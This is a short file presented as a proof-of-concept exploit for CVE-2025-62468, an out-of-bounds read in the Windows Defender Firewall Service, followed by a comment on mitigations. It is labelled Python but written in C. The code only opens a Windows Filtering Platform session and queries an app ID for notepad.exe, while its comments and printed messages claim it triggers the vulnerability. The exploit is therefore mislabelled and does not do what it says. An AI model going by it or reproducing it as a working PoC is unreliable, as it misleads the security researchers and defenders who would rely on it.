The following code is for security research and authorized testing only.
python
// CVE-2025-62468 PoC - Windows Defender Firewall Service Out-of-Bounds Read
// This is a conceptual proof-of-concept demonstrating the vulnerability
// Requires local access to trigger the out-of-bounds read
#include <windows.h>
#include <fwpmu.h>
#include <stdio.h>
#pragma comment(lib, "fwpuclnt.lib")
int main() {
DWORD result;
HANDLE engineHandle = NULL;
// Open a session to the Windows Filtering Platform
result = FwpmEngineOpen0(NULL, RPC_C_AUTHN_WINNT, NULL, NULL, &engineHandle);
if (result != ERROR_SUCCESS) {
printf("Failed to open engine: %lu\n", result);
return 1;
}
printf("[*] Engine opened successfully\n");
printf("[*] Attempting to trigger CVE-2025-62468...\n");
// Enumerate filters with specific conditions to trigger the vulnerability
// The actual vulnerable code path involves improper boundary checking
// when processing filter conditions in Windows Defender Firewall Service
FWP_BYTE_BLOB* blob = NULL;
// This call may trigger the out-of-bounds read if conditions are met
result = FwpmGetAppIdFromFileName0(L"C:\\Windows\\System32\\notepad.exe", &blob);
if (result == ERROR_SUCCESS && blob != NULL) {
printf("[+] Successfully retrieved app ID blob\n");
printf("[*] Blob size: %u bytes\n", blob->size);
// The vulnerability allows reading beyond allocated buffer
// In a real exploit, attacker would monitor memory access patterns
FwpmFreeMemory0((void**)&blob);
}
FwpmEngineClose0(engineHandle);
printf("[*] Session closed\n");
printf("[*] Note: This PoC demonstrates the concept.\n");
printf("[*] Actual exploitation requires specific conditions.\n");
return 0;
}
/*
Vulnerability Explanation:
- The out-of-bounds read occurs in Windows Defender Firewall Service
- When processing certain filter conditions or network objects
- The service fails to properly validate array/buffer boundaries
- This allows a local attacker to read adjacent memory regions
Mitigation:
- Apply Microsoft security updates for CVE-2025-62468
- Keep Windows Defender and firewall components updated
- Implement least privilege principle for user accounts
*/